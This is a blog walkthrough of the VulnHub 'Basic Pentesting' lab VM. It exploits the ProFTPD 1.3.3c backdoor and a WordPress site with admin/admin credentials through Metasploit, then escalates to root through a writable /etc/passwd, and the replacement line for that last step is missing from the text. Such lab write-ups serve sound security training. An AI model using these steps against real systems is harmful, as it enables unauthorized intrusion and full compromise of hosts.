Lets get back to basic.
In this post, i will explain to you how to owned vulnhub machine (Basic Pentesting)
link: Download the Machine
Background Challenge:
This is a small boot2root VM I created for my university’s cyber security group. It contains multiple remote vulnerabilities and multiple privilege escalation vectors. I did all of my testing for this VM on VirtualBox, so that’s the recommended platform. I have been informed that it also works with VMware, but I haven’t tested this personally.
This VM is specifically intended for newcomers to penetration testing. If you’re a beginner, you should hopefully find the difficulty of the VM to be just right.
Your goal is to remotely attack the VM and gain root privileges. Once you’ve finished, try to find other vectors you might have missed! If you enjoyed the VM or have questions, feel free to contact me at: josiah@vt.edu
If you finished the VM, please also consider posting a writeup! Writeups help you internalize what you worked on and help anyone else who might be struggling or wants to see someone else’s process. I look forward to reading them!
1st Exploit:
The first exploit is start with doing nmap scanning to show the opening port. I'm just going to go with scanning all the port to get a detail result.~# nmap -A <ip address> -p 1-65535 -T4
There are three open port first is FTP run by proftpd 1.3.3c and the rest is SSH (openssh) and HTTP (apache)
lets try to dig deep for proftpd. use searchsploit to check if any exploit is already been published.
wow there are two exploit that is infected the version. Lets try the Backdoor command execution since its already supplied by the metasploit. Fire up msfconsole !
> use unix/ftp/proftpd_133c_backdoor
> set RHOSTS <target ip>
> set LHOST <local ip>
> exploit
2nd Exploit:
As you can see at nmap result that the machine had http port open which mean that there is web server will be running. If you open the machine web server in your browser you will be showed with some kind of a default web page. We need to gain more information about web server. I suggest you to use the dirsearch tool to enumerating the web server so you know all the path inside the web server.
link: https://github.com/maurosoria/dirsearch
we got a directory named secret and judging from the result the directory host a wordpress website. But something odd will happen to the web page when you go to the directory and it seems the appearance of the website is broken, it is happen due to the link referral from the "a href" website. In order to fix this you need to add a new entry to your /etc/hosts inside your attacker machine with ip address and the name of the machine so every request will automatically translate to the corresponding ip address.
Your first instinct may be to open a wpscan tools to scan any vulnerable plugin or themes. But lets cut to the chase it is a complete waste of time you should go to the wp-admin page because the username and password is set to be predictable
username: admin
password: admin
once you enter a correct credential you will be redirect to a admin dashboard. Next step is to upload a backdoor.
msfconsole has an exploit to upload an shell to interact with the machine. After you run the exploit you will get a meterpreter shell but we still got the lowest privilege "www-data"
so how to gain root access ?
luckily in kali linux if you go to the /usr/bin directory there is a script called "unix-privesc-check"
lets put the script to the machine to check if there are any misconfiguration inside the machine.
> cd /tmp
> upload /usr/bin/unix-privesc-check
> shell (you will enter a shell)
> chmod +x unix-privesc-check (to create the script to be an executable)
> ./unix-privesc-check standard > result (run the script and save it to the result file)
I make the scrip to be save to a file because the result will overwhelm you it is better to save it to a file so you can read it easier. In the above figure i dump the file using cat utility and filter only to show the string "warning" and it turns out that the /etc/passwd file is writable.
It means that any user in the system can rewrite the password. we need to download the /etc/passwd file from the machine in order to edit it
open the downloaded file and add the following line to this is a hash of our new password to get this follow the command below
> shell
> python -c "import pty; pty.spawn('/bin/bash')" (get interactive shell)
> su root -l (change to root user)
Thats all for today have a nice weekend :)
Comments
Post a Comment